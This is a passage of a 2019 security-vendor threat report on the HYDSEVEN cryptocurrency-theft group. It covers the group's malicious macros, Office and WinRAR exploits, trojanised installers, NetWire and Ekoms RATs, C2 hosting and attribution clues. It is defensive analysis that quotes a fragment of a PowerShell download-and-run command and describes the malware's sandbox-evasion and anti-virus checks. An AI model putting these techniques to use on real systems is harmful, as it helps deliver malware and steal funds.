Special Edition

Cyber Emergency Center Report
Special Edition

Cyber Emergency Center Report
The shadow behind Cryptocurrency Stealing Attacks

01

July 19, 2019
Cyber Emergency Center

Cyber Emergency Center Report
Special Edition

Cyber Emergency Center Report
Special Edition
Contents
03

Introduction

04

Cryptocurrency Stealing Incidents Timeline-

06

Activity summary of HYDSEVEN

Threat Summary-

Three attack methods “VBA macro" "software vulnerability""fake installer"

31

Post-Exploitation Malware-

39

C2 Infrastructure-

40

Features of two malware "NetWire" and "Ekoms (Mokes)"

Overseas server used for attack

Adversary Background-Two footprints "Decoy Document File" "Code Signing
Certificate"46

Detection or Mitigation

50

Conclusion

51

Indicator-of-Compromise（IOC）

Cyber Emergency Center Report (hereinafter, this document) is for providing information, and LAC Co., Ltd. cannot be responsible for any loss
resulting from the use of the description.
Please note that the information contained in this document is at the time of initial publication and may have changed at the time of viewing andprovision.
LAC,Cyber Emergency Center, and Cyber-119 are trademarks or registered trademarks of LAC Co., Ltd.
Other company names and product names mentioned in this document are trademarks or registered trademarks of their respective owners.
The photos on the front and back covers are the works of Yukinobu Nagayasu
When citing this document, please be sure to specify the source.
It is prohibited to copy or reprint part or all this document beyond the scope defined by the Copyright Act.

C 2019 LAC Co., Ltd. All Rights Reserved.

02

Cyber Emergency Center Report
Special Edition

Introduction

Nowadays, with the growing interest in cryptocurrency (Crypto Asset), cyberattacks targeting this currency are also taking place actively. Adversaries aretargeting cryptocurrency activity through several approaches, from direct stealingfrom a virtual currency exchange, stealing from wallets of a virtual currency owners,
and illegally mining that uses computer resources, each approach has used varied
vulnerability vectors to make adversaries possible to compromise the penetrable
security scheme on the victim’s side to accomplish their goals.
With the success efforts from variation of attacks, the cryptocurrency values thatspilled out from the cryptocurrency exchange system has attracted attention as it
relates to the reliability and security of the cryptocurrency itself. In the direct
cryptocurrency stealing vector itself, according to Group-IB's report 1 , the total
damage caused by cyber-attacks on exchanges since 2017 has increased to a total
of $882 million, and that is a huge amount of money that has been illegallycompromised and can not be ignored in cyber security perspective. In 2019, theattack on cryptocurrency is continuing, and it is expected to continue to increase.
This report describes the TTP (Tactics, Techniques and Procedures) thatadversaries used in the period from 2016-2019, regarding the activities of a cyberattack group (HYDSEVEN) for allegedly stealing cryptocurrency. As far as we confirm,
as of June 2019, although there is not much information mentioned about
HYDSEVEN activity, it is known that the adversary has performed attack efforts invarious countries including Japan and Poland. Considering the measures against
HYDSEVEN cyber attack goals that aims for cryptocurrency is still low, it would bringgreater good for our security community if this report can help to raise awareness,security measures, and perimeter detection improvement within organizations andin the industry.
Cyber Emergency Center Threat Analysis Team
Yoshihiro Ishikawa

1

https://www.group-ib.com/media/gib-crypto-summary/03

Cyber Emergency Center Report
Special Edition

Cryptocurrency Stealing Incidents Timeline

Fig.1 shows an overview of the activity of the HYDSEVEN in targeting
cryptocurrency, which has been occurred from August 2016 through March 2019.
We have confirmed many incidents caused by the adversary happened in 2016 and2017, and these attacks continue in 2019. The most popular scheme used to initiallyinfiltrate the victim’s system by the attackers is spear-phishing mails. In thoseemails HYDSEVEN is spoofing fake the identity of university officials or researchersor other identities to convince the victims. The targeted victim computers can becompromised in a certain of ways, such as exploitation through execution of VBA
macro code in attached Office document files, exploitation through software
vulnerabilities and fake software installers that needed to be downloaded from thelink in the sent spear phishing. As malware payloads, HYDSEVEN uses mainly
NetWire and Ekoms (Mokes) as the front-end interface of these incidents, we will
introduce the detail of them in Chapter 4. The next chapter (Chapter 3) is focused on
HYDSEVEN attack techniques where we will introduce more detail on adversary’s
techniques and features.

04

Cyber Emergency Center Report
Special Edition

Fig.1

HYDSEVEN activity Timeline

05

Cyber Emergency Center Report
Special Edition

Threat Summary

HYDSEVEN steals cryptcurrency with three attacking tricks such as amouflage.
VBA macros embedded in Office document files, exploiting software
vulnerabilities, and fake installer. In this chapter these three attack techniques
will be explained further.

Exploitation by VBA macro
The exploitation using VBA macros are confirmed at incidents in August andDecember 2016, and Fig.2 illustrates the flow of attacks used during these periods.
The Office document file used during the attack efforts in August 2016 is a copy of alegitimate collaboration guide with a London School of Economics and Political
Science (LSE), or, an opening account of a United Arab Emirates (UAE) bank. (Fig.3)
If you look closely to the Office document file, you will see the "Security Warning"message Bar2 at the top saying that the document contains two or more active
content, such as VBA and other add-ins.

Fig.2
2

VBA macro Exploits overview Diagram

https://support.office.com/en-us/article/active-content-types-in-your-files-b7ff2e8a-4055-47d4-8c7d-541e19f62bea

06Cyber Emergency Center Report
Special Edition

Fig.3

An example of an Office document file that exploits VBA macros

Fig.4 is a partial snippet code of the VBA macro contained in the attached Officemalicious document file. The code will execute a PowerShell command as shown in
Fig. 5 that uses the Shell function3 as shown by the red frame. Upon a successexecution, the PowerShell command will then download and run NetWire or Ekoms(Mokes), both are RAT malware, from the C2 server provided by the adversaries
beforehand, by a common download method in PowerShell by utilizing a .NET class(System.Net.WebClient) used for downloading files.

3

https://docs.microsoft.com/ja-jp/office/vba/language/reference/user-interface-help/shell-function07

Cyber Emergency Center Report
Special Edition','%TEMP%/g32dc.exe');Start-P

Fig.4

Fig.5

rocess '%TEMP%/g32dc.exe';

VBA macro code with Shell function in Office document (redacted)

An example of PowerShell command performed by VBA macros

In addition, as shown in Fig.6, the VBA macro contains interesting and distinctive
codes that is having random strings in its variable names and it was coded to look
like a random password generator logic, faking itself to a similar code that was
released (Fig.7) on the Web Programming Developer Forum (DreamInCode.net4), in
November 2011 (Fig.7), and it is likely that the adversary’s coder has used the
published code’s as a base or template to camouflage his own malicious code.

4

https://www.dreamincode.net/forums/topic /257344-snippet-my-random-password-generator/

08

Cyber Emergency Center Report
Special Edition

Fig.6

Example of camouflage technique used to look like apassword recovery script included in VBA macros

Fig.7

Password generation code posted in the code-sharing web site

09

Cyber Emergency Center Report
Special Edition

Exploitation via software vulnerabilities
Attack techniques that exploit software vulnerabilities are confirmed in February
2017, September 2017 and March 2019. Fig. 8 illustrates the flow of attacks analysis
on each event, showing that different exploitation techniques on software
vulnerabilities has been utilized on each incidents.

Fig.8

An overview of attack tactics in exploiting vulnerabilities(1) Case of February 2017
In this period of attack, the adversaries were making attempt to exploit
vulnerabilities of CVE-2015-2545 5 and CVE-2016-7255 6 to infect NetWire RAT
malware to a victim’s PC. The CVE-2015-2545 vulnerability is caused by the flaw inhandling EPS files in Microsoft Office and during the success of exploitation the
remote attackers can execute arbitrary code in the compromised system. And
CVE-2016-7255 vulnerability is caused by a flaw in the memory handling on objects
in the Microsoft Windows kernel-mode driver (Win32k.sys), that caused attackers
with user’s low privilege can gain compromised system’s high privileges.

5

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2545

6https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7255

10

Cyber Emergency Center Report
Special Edition

Fig.9 is the Office document file used for this attack technique. The content of the
document is a confirmation letter to permit admission to participate a Banking
Technology Awards from the London School of Economics and Political Science (LSE)
7

.

Fig.9

An example of an Office file (CVE-2015-2545 and CVE-2016-7255)

If you check this Office document file further using 7-Zip archive tool, you will
notice there is an existence of one EPS file (imgage1.eps), as per enclosed in a redborder (Fig.10). In this technique the adversary exploited the both vulnerabilities
previously mentioned, and additionally the EPS file also contains the executable files(NetWire) as the payload to be dropped afterward, as per shown in the red border in
Fig.11.
In the Fig.12, it is shown the snippet of codes utilized to exploit theCVE-2016-7255 vulnerability which is the part of the code to escalate the privilege
upon the success in exploitation.

7

We have also confirmed the Office document file, which is committed to permit participation in AWC Awards

from the London School of Economics and Political Science (LSE)11

Cyber Emergency Center Report
Special Edition

Fig.10An example of a malicious EPS file spotted in an Office document fileFig.11

Netwire RAT malware binary is embedded in the EPS file (redacted)

12Cyber Emergency Center Report
Special Edition

Fig.12

Code to exploit the CVE-2016-7255 Vulnerability (redacted)(2) Case of September 2017
In this period of attack, the adversary exploited CVE-2017-01998 vulnerability toinfect NetWire malware to a targeted user's systems. CVE-2017-0199 is a flaw in
Windows API that allow remote attackers to execute arbitrary code in a crafted
Office document, and the adversaries were using this vulnerability to exploit asystem by included an HTA link as an OLEv2 object in the RTF code format to trigger
the exploit. Upon executed, the remote HTA data that its link was coded in the “URL
Moniker”9 as Microsoft OLE10 object of that malicious RTF code can be downloaded
and executed.
Fig.13 illustrates the Office document file that was used by the adversaries. The
screen in the foreground appears when the file is opened, while the background one
8

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0199

9Technology for linking and sharing data among multiple Windows applications

10

A COM object that provides a service that allows the specified URL resource to be used by othercomponents.

13

Cyber Emergency Center Report
Special Editionis showing how the linked data is displayed during the execution. After our tests
after being exploited, the compromised computer's screen was showing exploit byte
strings rather than a readable decoy document. It is not clear what has caused thisphenomenon, whether the adversary’s coder was intentionally prepared it this way,or it is just a design error.

Fig.13

An example of an Office file (CVE-2017-0199)

As per previously briefly explained, the crafted Office document file used for this
exploitation is actually a RTF coded file that contains an embedded object ({/object
keyword} (Fig.14).
The hexadecimal strings ”d0 cf 11 e0 a1 b1 1a e1” in the red box indicates thatthe embedded object is in the OLE format. And the screen under the red arrowshows the dumped OLE object, where we can actually confirms a hardcoded URL
that downloads an HTML application (HTA file) from a remote site prepared by theadversary.

14

Cyber Emergency Center Report
Special Edition

Fig.14

OLE objects included in Office document files (excerpt)

Next, we will look at the downloaded HTA file. This HTA file, as shown in Fig.15, ismade by VBScript, and when you look closer to these codes, you will notice that it
has specific features such as code writing, implementation, and variable names.
Studying it further, we found that this malicious VBScript script was created in
Microsoft Word Intruder (MWI). MWI is a toolkit that can create files that exploit
vulnerabilities in Microsoft Office products and was allegedly developed in Russia byan individual with the handle name of "Objekt". MWI is sold in the undergroundmarket from around 201311. Fig.16 shows the part of the MWI advertisement thatwas published in that forum. In addition, this code that exploits the CVE-2017-0199
vulnerability in MWI is also matched to what has being reported from the version
that was being sold in May 2017 according to the Proofpoint12 blog.
11

https://www.sophos.com/en-us/medialibrary/PDFs/technical%20papers/sophos-microsoft-word-intrud

er-revealed.pdf?la=en12

https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-019

9-utilized-cobalt-group-target

15

Cyber Emergency Center Report
Special Edition

Fig.15 The downloaded HTA file (redacted)

Fig.16

An example of an advertisement in the underground forum (excerpt)

16Cyber Emergency Center Report
Special Edition

The VBScript downloads a malicious DLL file and "decoy document file” (to be
displayed to user) from the adversary’s C2 server (see the red border of Fig.15)
using bitsadmin command13 (Fig.17) and executes it.
In addition, several information from the compromised PC such as system
information, anti-virus software, and running processes will be encoded in Base64,
to be sent to the MWI panel (MWISTAT) with the hardcoded address shown in theblue frame in Fig.15. Fig.18 shows the Base64-decoded data sent to MWISTAT.

Fig.17 Using the bitsadmin command to download files from C2 server

Fig.18

Example of decoding information sent to the MWI panel (excerpt)13

https://docs.microsoft.com/ja-jp/windows-server/administration/windows-commands/bitsadmin

17Cyber Emergency Center Report
Special Edition

Finally, the downloaded DLL file is a trojan downloader to fetch and execute othermalware, which is NetWire RAT malware, from the adversaries C2 server, as shownin Fig.19. The original file name for this DLL file is considered to be"DownloaderDLL.dll" according to the hardcoded entry name exported table fromthe DLL file (Fig.20).

Fig.19 Downloader features included in DLL fileFig.20 DLL file exported in DLL file
In addition, the C2 server used in this incident also contains Ekoms (Mokes), a RAT
malware, which may have been used for exploitation for an allegedly different
targeted attack by the same adversary. Fig.21 shows the intercorrelation graphicalmap to visualize the link of malware placed in an IP address that was exploited as a18

Cyber Emergency Center Report
Special Edition

C2 server in September 2017 that highlights the Ekoms (Mokes) malware.

Fig.21 Intercorrelation IP and malware placed on the C2 server in Sep 2017(3) Case of March 2019
In this period the adversaries exploit CVE-2018-2025014 vulnerability to drop a
VBScript file on the compromised computer. Then, the VBScript code will download
the NetWire RAT malware. The CVE-2018-20250 (path traversal vulnerability whencrafting the filename field of the ACE format) is due to the absolute path processing
flaw in Unacev2.dll 15 of an archive tool, a problem that can be utilized by theadversaries to allow them to craft malicious scheme to drop a malicious file in otherpath. Fig.22 shows that the ACE archive used for the attack was opened in WinRAR
contained an absolute path to the Startup folder (shown in a red box).

Fig.2214
15

The contents of the ACE archiver exploiting this vulnerability

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20250
A library used when extracting ACE format archives, and used by file compression / decompression software such as WinRAR

and Lhaplus

19Cyber Emergency Center Report
Special Edition

By using WinRAR, when extracting the malicious ACE file, at the time when the
document file with the contents of the Communication Notification from the Council
on Social Work Education (CSWE) as shown in Fig.23, is created in the specified
extract directory, the malicious VBScript files are also dropped in the Startup folder.
The whole idea is to make WScript to run dropped VBScript file when Windows
restarts.

Fig.23

Decoy document file disguised as CSWE (excerpt)

The created malicious VBScript file is actually a bot that responses to remotecommand to perform several malicious functionalities, as per listed in Table 1. This
VBScript bot performs several efforts to make connections to the C2 server and thendownloads the NetWire from the specified C2 server in the sent "Pr" command.

20

Cyber Emergency Center Report
Special Edition

Table.1 VBScript bot instructions
Commands

DescriptiondDelete VBScript FilePr

Download and run a file from a specified URL

Hw

Get OS Version

av

Investigation of the presence of the product of the following
anti-virus software vendor"VIPRE","Trend Micro","Panda Security","Norton Security","Malwarebytes", "Kaspersky Lab", "G DATA", "F-Secure","Emsisoft Anti-Malware", "DrWeb","COMODO","BullGuard Ltd", "Bitdefender", "Avira", "AVG","AVAST Software", "AhnLab", "360"

One significant method that we figured during its connectivity to the C2 is, the bot
uses the Authorization Header to interact with the C2 server. Using the
SetRequestHeader function, (shown in the red box in the Fig. 24) to grant the
Authorization header to the HTTP request to send data back to the C2 server, andalso the bot is using the GetResponseHeader function to verify that it is retrieving the
Authorization header that is included in the HTTP response from the C2 server. The
two functions are shown in the blue boxes and it is having the Base64 encode anddecode function for processing parameter values in Authorization header.

Fig.24

Function to send request to C2 server

21

Cyber Emergency Center Report
Special Edition

Fig.25 illustrate the traffic when receiving the "AV" command from the C2 server
and the sent HTTP request and response when the bot sends the command result to
the C2 server. The red arrow destination string is the Base64 decoding result ofparameter value for Authorization header. The ID included in the decoding result is
an infected terminal-specific identifier that is generated by combination of thecomputer name, process ID, and user name. The attack was also reported in the
March 2019 on the FireEye blog.16

ID:85000080af0e, AV:Not foundok okFig.25 Request and response to C2 server

16

https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html

22Cyber Emergency Center Report
Special Edition

The fake installer
The attack efforts to impersonate legitimate software’s installer by spear-phishingmails with malicious download links are confirmed in November 2016, October 2017,
and February 2019. In these attempts, the software installers of a Vast Conference's
WEB Meeting software (WebMeeting), or, the Statistical Analysis software (STATA)
provided by StataCorp, was being tampered by adversaries for exploitation purpose.
Fig.26 illustrates the attack flow using these fake installers.

Fig.26 An overview of attack tactics Fake installer(1) Case of November 2016 and February 2019
In these periods of incidents, victims are lured to download a tampered statisticalanalysis software installer using spear-phishing link. The email body contains three
types of URLs (Windows, MacOS, Linux) that allow you to download fake installers
from a regular website located at overseas universities. Obviously HYDSEVEN is
considered to compromise those sites beforehand in some way to use them as a23

Cyber Emergency Center Report
Special Edition

springboard or cushion for these infection attempts, so as the server administrator
they have installed unintended files. The following example shows an attack
attempts using a fake installer in Windows environment that was reviewed in
February 2019. While Exatel reports17 on similar infection efforts in December 2016.
Fig.27 shows the code signing certificate of fake statistical analysis installer
software compares to the one provided by StataCorp. You can see that the fakesoftware is signed by a company called "SANJ CONSULTING LTD", which is different
from the signature of the legitimate one.

Fig.27 Verifying the code-signing certificate (above: fake/under: legitimate)
The Fig.28 is a comparison of the files that and folders that were created after
executing the fake installer of the statistical analysis software to the legitimate one.
17

https://exatel.pl/paranoicy/

24

Cyber Emergency Center Report
Special Edition

Existing in both left and right images there is "StataSE-64.exe", which is a legitimate
regular statistical analysis software. But you can see that there is a folder in the left
side of the screen, deployed by the fake installer, that does not exist in the right-side
image (legitimate one), and it has an extra executable file (StataSE.exe) marked in
the red box, also, in the left side, it has extra Qt18 DLL library files and SSL DLL
library files. The executable (in the red box mark) is the malware that will run when
you execute this the fake installer package binary.

Fig.28Difference of created file (left: fake/Right: legitimate)So, let's look at "StataSE.exe" malware included in the fake installer. As shown in
Fig.29, this executable is a malware downloader built on Qt, a multi-platform
software development framework. Outwardly, it runs legitimate statistical analysis
binary (see the blue box), while in the background it downloads NetWire and Ekoms(Mokes) from a cleverly tampered fake and malicious hostname (see the red box).

18

https://www.qt.io/developers/

25

Cyber Emergency Center Report
Special Edition

Fig.29Downloader function included in "StataSE.exe" (excerpt)

Finally, the downloader runs the code to detect the system’s virtual environment
to check the name of the displayed devices by using the EnumDisplayDevicesW19
function. As per seen in Fig.30, "VMware" string is hardcoded in this detection code.
In this part the downloader checks for "VMware", "VirtualBox", "Parallels" strings. If
the downloader runs on one of these virtualizations, victims will see an alert box likeshown in Fig.31, and the fake installer will terminate itself with that error dialog.

Fig.30 Code to detect VMware environment (excerpt)19

https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-enumdisplaydevicesa

26

Cyber Emergency Center Report
Special Edition

Fig.31

Alerts dialog of downloader in a virtual environment(2) Case of October 2017
The monitored incidents in October 2017 was also using the same spear-phishinglink as the previous described cases to download fake software on the specificoperating system from a regular website at an overseas university. The installer tobe downloaded is different, this time the WEB Meeting software provided by Vast
Conference was being maliciously tampered by the adversaries to lure the victims.
The following is an explanation to the related attack attempts using the fake installerthat affects Mac OSX environment.
Fig.32 shows a fake WebMeeting installer package compared to the legitimate one
made by Vast Conference company. First, let us check the existence of thecode-signing certificate for these packages (pkg). You can see that fake WebMeeting
one does not contain any code-signing certificate. And if you check the application(WebMeeting.app) included in the package as well, you also can see that the fake
WebMeeting .app does not contain any code signing certificate either. (see Fig.33).

Fig.32 Verifying the code-signing certificate for the WebMeeting package(above: fake/under: legitimate)27

Cyber Emergency Center Report
Special Edition

Fig.33 Verifying the code-signing certificate for WebMeeting.app (above:
fake/under: legitimate)
Further, the Fig.34 compares both contents of the fake and legitimate
WebMeeting.app. The fake one includes “WebMeeting.run”, “App.new”, and“NW.js”20 files which are the related applications, scripts and libraries that are notincluded in the legitimate application (see the red boxes part).

Fig.3420

Difference of created file (Left: fake/Right: legitimate)https://nwjs.io28

Cyber Emergency Center Report
Special Edition

Now, let's look at the “WebMeeting.app” and “WebMeeting.run” included in the
fake package. The fake “WebMeeting.app” itself is a malware downloader that uses
cURL command to download and run NetWire and Ekoms (Mokes) from the C2server, as shown in the red box in Fig.35, yet, the bogus “WebMeeting.app” also
executes “WebMeeting.run”, as shown in the blue box in Fig.37, and it is executed inalmost parallel time with the malware downloading process.

Fig.35WebMeeting.app Downloader function (excerpt)

In addition, “WebMeeting.run”, which is an application made by NW.js (a NodeJS,
the JavaScript execution library caller, previously known as node-webkit), will thenread the “app.nw” file under the Resources directory to make an access to a bogus
login screen to join WebMeeting (Fig.36). The “app.nw” file itself is a ZIP file contains
files of “main.html” and “package.json”. The contents of these files are seen in Fig.37.
You can confirm that the URL for joining WebMeeting is included.

Fig.36 Webmeeting Login Screen

29Cyber Emergency Center Report
Special Edition

Fig.37 Content in the app.nw file (above: main.html/under: Package.json)
Finally, the code that detects the virtual environment included in this downloader
is executed. It contains almost the same code as the case of Statistical Analysis
software described earlier, but in this case, it incorporates a mechanism to detect
VMware and Parallels virtualization. If you run the downloader in these virtualenvironments, you will see an alert box (Fig.38) and installer is terminated. The
contents shown in this error dialog is similar to the case of the Statistical Analysis(STATA) package installer software.

Fig.38Checking the alert box for execution errors

30Cyber Emergency Center Report
Special Edition

Post-Exploitation Malware

NetWire and Ekoms (Mokes) are RAT malware used as the main interface on thepost exploitation steps oif these attacks by the adversary, the group HYDSEVEN. In
this chapter we will describe the features of both malware.

About NetWire
One of the downloaded malware by the downloader upon a successful exploitationis RAT (Remote Administration Tools), known as NetWire21, developed by World
Wired Labs (Fig.39). NetWire supports multi-platform, such as Windows, Linux, andMac OSX, and implements a variety of remote access functions22 such as remote
execution shell, file management, screenshots and keylogging. NetWire is often soldgenerally as multi functions, and many attackers are using NetWire as their various
post exploitation stages, in example, there are reports from FireEye and Proofpoint
to describe that adversary group Carbanak23 who targets financial institutions, andAPT3324 state-sponsor attackers are using this variant of malware too.

Fig.39NetWire Web site sold by World Wired Labs

21

https://www.worldwiredlabs.com/

22

https://www.worldwiredlabs.com/documents/NetWire%20User%20Manual.pdf

23

https://www.proofpoint.com/us/threat-insight/post/carbanak-cybercrime-group-targets-executives-of-Financial-organizatio
ns-in-middle-east
24

https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

31

Cyber Emergency Center Report
Special Edition

HYDSEVEN group also utilizes NetWire in various OS version of Windows, Linux,
and MacOS. However, NetWire used by this adversary contains several uniquefeatures compared to the commercial versions, and we will cover some features ofthis customized NetWire in the next chapters(1) RC4 Key (Windows, Linux, MacOS)
The customized NetWire has a common "hyd7u5jdi8" RC4 encryption Key (Fig.40).
This encryption key is used to decrypt file names, variable names or WindowAPI
names, that are encrypted with RC4 within NetWire binary data.

SHFileOperationW%Rand%

Fig.40

RC4 Key "Hyd7u5jdi8" (Above: Windows/under: Linux)

32

Cyber Emergency Center Report
Special Edition(2) NetWire version (Windows, Linux, MacOS)
NetWire has been upgraded for each additional feature, and the latest version is
v2.025. The NetWire version information is hardcoded within its binary file, andFig.41 shows the commercial version of v1.6A (0x1066100) and v1.7a (0x1066100).
On the other hand, the customized version of NetWire also contains version
information, as shown in Fig.42 v1.0? (0x1000100). This custom version is notcomparable to the upstream developed branch of the NetWire commercial version
v1.0 released in 2012, but it includes latest features that are comparable to thenewer branch like in v1.2 and v1.4. Because the implementation of those features isdifferent, there must be a customized development branch version of NetWire. To
support this theory, there is also an interesting fact that shows the customized
NetWire configuration26 data size is different, it is 0x468 bytes in size, contains thedetail listed in Table 2, and it will operate based on these data.

Fig.41Comparison of commercial NetWire version (left: v1.6a/right: v1.7a)Fig.42Customized NetWire version (left: Windows/Right: MacOS)

25

https://www.worldwiredlabs.com/announcement-netwire-v2-0/

26

The size of the setting information of MacOS version is different from 0x3D4 byte or 0x3E4 byte etc.

33

Cyber Emergency Center Report
Special Edition

Table 2

List of configuration information (Windows version)

OffsetDescription

0x000

Communication destination

0x100

Proxy settings

0x200

Password (AES encryption key Seed)

0x224

RC4 encryption key for configuration information

0x238

Host ID

0x24C

Group ID

0x260

Mutex name

0x280

Installation path

0x320

Startup Key Name 1

0x360

Startup Key Name 2 (UUID)

0x3A0

Key Log Directory

0x424

Boolean Flag

0x440

File Timestamp settings

0x464

Connection Wait Time

(3) PowerCat (Windows)
The customized NetWire has a built-in network tool called Powercat27, which is an
open source tool. The Fig.43 shows that the Powercat included in NetWire and its
code is identical to the Powercat code that is published on GitHub. In the Fig.44 it isshowing the snipped batch code to run NetWire’s Powercat, and it can also be
confirmed that the command makes a connection to the C2 server is using the local
port 4000/tcp.

27

https://github.com/besimorhino/powercat

34

Cyber Emergency Center Report
Special Edition

Fig.43 Some code comparisons for Powercat (above: code included with
Netwire/under: github code)

Fig.44 Running Powercat with a batch file35

Cyber Emergency Center Report
Special Edition(4) Command prompt character code (Windows)
The customized NetWire for Windows executes a command prompt (cmd.exe) by
an instruction from a C2 server, it executes the character encoding with UTF-8 (chcp65001) (Fig.45). Compared to the commercial version v1.6, in this version, it is clearthat "chcp 65001" is specified as an argument when executing the command prompt.
An attacker may want to manipulate the command prompt without relying on thecharacter code currently setup in the victim’s environment by using UTF-8 for theshell operation.

Fig.45 Comparison of character encodings at command prompt execution(Above: Customized / Below: Commercial version)(5) C2 Communications (Windows, Linux, MacOS)
The traffic of customized NetWire is different from the commercial version ones
comparing by its communication packets during the interaction with the C2 server.
In Fig.46 we compare the initial communication packets sent from the client to theC2 server. Each marked area has the decoded meaning that is shown in Fig.47.

zzz

Fig.46zzComparison of initial communication packets sent to C2 server (top:Customized Version/under: Commercial version (V1.6A))

36

Cyber Emergency Center Report
Special Edition

Fig.47

Outline of the initial communication packet to be sent to C2 server

The customized NetWire contains the instruction command (0x7f) instead of thepacket length in the first byte. This value is encrypted with the XOR operation(encryption key: 0x7C), and the same instruction command "0x03"28 is used todecrypt in the commercial version. Also, the commands to send packets from the C2server to the client are also encrypted with different XOR operations (encryption
key: 0x0FFFFFFE3h) (Fig.48). Additionally, the customized NetWire sends data thatappears to be an OS environment-specific identifier that has not been sent in thecommercial version. Other features of NetWire C2 communication are explained indetail in PaloAlto's blog29, you can refer to their report.

Fig.48

XOR code of Instruction command (left: encode/bottom: decode)

28

NetWire version 1.7a sends 0x99 as a parameter instead of 0x03

29

https://unit42.paloaltonetworks.com/new-release-decrypting-netwire-c2-traffic /37

Cyber Emergency Center Report
Special Edition

About Ekoms (Mokes)
Another malware downloaded by the downloader in post-exploitation stage by theadversary is a malware called Ekoms (Mokes). Ekoms (Mokes) is a RAT" withfeatures such as keyboard input and audio data logging, screen capture acquisition,and is developed with Qt. The reason it is called as Ekoms is that the name of the
project that the adversary’s coder used to create this malware program was named
as “Ekoms” and the name is taken from there. Fig.49 shows the project nameincluded in the Ekoms strings that were identified in an incident binary artifact.

Fig.49 Project name included in malware (example)
The Ekoms that HYDSEVEN uses for attacks have been confirmed what works in
Windows, Linux, and MacOS environments, and most of them are compressed with
UPX30 packer. As we investigated related incidents that was utilizing this malware,
we found that Ekoms was related to Kaspersky's blog31 in January 2016 and theDr.Web Web site3233 at the same time during the incidents occurred, and there wasno difference in the functionality of the malware. The features of Ekoms areanalyzed in detail by two vendors, so please refer to their blogs.

30

https://upx.github.io/

31

https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discove

red/73503/
32

https://vms.drweb.co.jp/virus/?i=7924647

33

https://vms.drweb.co.jp/virus/?i=7938142

38Cyber Emergency Center Report
Special Edition

C2 InfrastructureThis section focuses on the malware C2 servers used by adversary, the HYDSEVEN
group. Many C2 servers that have been exploited are located in overseas hosting
server, many of them did not register any domain name and their networking wereoperated by IP address basis. In the Fig.50 we illustrate the relevance of malware to
the three hosting entities that HYDSEVEN frequently used, which are (OVH,
23media GmbH, Leaseweb Deutschland GmbH). In the attacks confirmed in 2019,
the IP address managed by 23media GmbH has been exploited as a C2 server.

Fig.50 Malware Communication Destination (excerpt)

39Cyber Emergency Center Report
Special Edition

Adversary background

In investigating several series of attacks, we found several landmarks that seemed
credible enough to be used as footprints of HYDSEVEN. It is not one hundred percent
clear whether its purpose was to deliberate construction (false flag) to disguise itself
or to conceal its identity, or even there is still a slight possibility if this is a mistakeand means nothing. Here are two footprints that are included in the decoy document
files and the code-signing certificates left by HYDSEVEN.

Decoy Document File
Fig.51 shows one of the Office document files used in an attack that exploits the
VBA macro described in Chapter 3, "Attack Overview." You can see that thelanguage setting in the document file is "Russia Word enviroment", as in the redborder. If you use ExifTool34 to check the "Language Code" or "Code Page" containedin the document file, you can see that it contains Russia (Cyrillic) character set.

Fig.51 Language information (above: language info/below: Exiftool results)
34

https://www.sno.phy.queensu.ca/~phil/exiftool/40

Cyber Emergency Center Report
Special Edition

Some of the Office document files used in other attacks also contain " Russia Word
environment ", and as shown in Fig.52, the language setting is "English (UnitedStates)", but the white space trails are in " Russia Word environment ". Also, when
you look at the Office document file properties in Fig.52, the company name value
contains the letter "Grizli777". (Fig. 53) This string is included with the use of pirated
Office products and is being used by Russia and Romania, that is also reported by
Florian Wagner in Twitter.35

Fig.52 Document file language information (left: English/right: Russia)

Fig.5335

The text "Grizli777" in the Office document file properties

https://twitter.com/_fl01/status/743226251373060097

41

Cyber Emergency Center Report
Special Edition

Code-signing Certificate
HYDSEVEN is mostly utilized a code-signing certificate to the malware used inthese activities. This is intended to camouflage itself to look like a legitimate
software and to avoids alerts or detection by security products. These are a few
possible ways for an attacker to obtain a code-signing certificate:1.

Directly stealing the private key and certificate for code-signing from alegitimate software development company

2.

Purchase a code-signing certificate from underground forums and more

3.

Establish or utilized a bogus company to issue a similar code-signing
certificate from a certification authority

Fig.54 shows a code-signing certificate that has been exploited in the attack
attempts between August 2016 and September 2017. When you review the
information within the subject of the certificate, you can see that “Russia” isregistered in the company name and address as their location. In addition, if you
check the registration information of the company with red lines in Nalog.io36, you
can see that it is actually a retail sales company for household appliances establishedin January 201037 (Fig.55). We also researched the registered address in Google
maps, and it was located in a house in a residential area like Fig. 56. Accordingly, thisadversary is using code-signing certificate that is likely acquired from above
methods “number 2" Or “number 3".

36

https://en.nalog.io

37

Bankruptcy on August 2, 2017 due to violation of Russian federal law (08.08.2001 No. 129-ФЗ)

42

Cyber Emergency Center Report
Special Edition

Fig.54

Verifying the subject of a code-signing certificate

Fig.55 Company Information of Silva, LLC of code-signing (redacted)

43

Cyber Emergency Center Report
Special Edition

Fig.56 Address registered with Silva, LLC (from Google Maps search results)
In addition to Fig.54, there are several code-signing certificates that have been
exploited, and table 3 summarizes some of the code-signing certificates that wereused in signing the malware binaries on the various related incidents.
Table 3 Code-signing certificate granted to malware (redacted)
Hash

Malwareb04e7cba062e23c9bbcc3b8ba38ab4da

NetWireca584961b8292d3d075b57994883572a

Downloader

80aa2d0c8c05a78487b85013c43c2143

NetWire3d9a8ad7ae2bf9d4e4bd6381438d2b0c

NetWiref08d3083c19320e2202128802b7ff306

Downloader

f84d985b94e31c04b6823af150f0b96f

NetWirea549d7ca2deb4aa7f7ce46efa1295e76

NetWire91099aa413722d22aa50f85794ee386e

Ekoms

12def981952667740eb06ee91168e643

NetWireSANJ CONSULTING LTD

a5cbda7bb3864626d6251f3a8cd09cb7

Downloader

NNM Dev LLC

ab235de113ee97926fb15eeaac555490

Ekoms

SoftVision Development GmbH44

code-signing (Name)
Younty Ltd
Silva, LLC
Megaprom, OOO
ASRA Solutions Ltd
Issledovaniya i razrabotka

Cyber Emergency Center Report
Special Edition

Finally, we will not go further into the footprints of HYDSEVEN, but we will
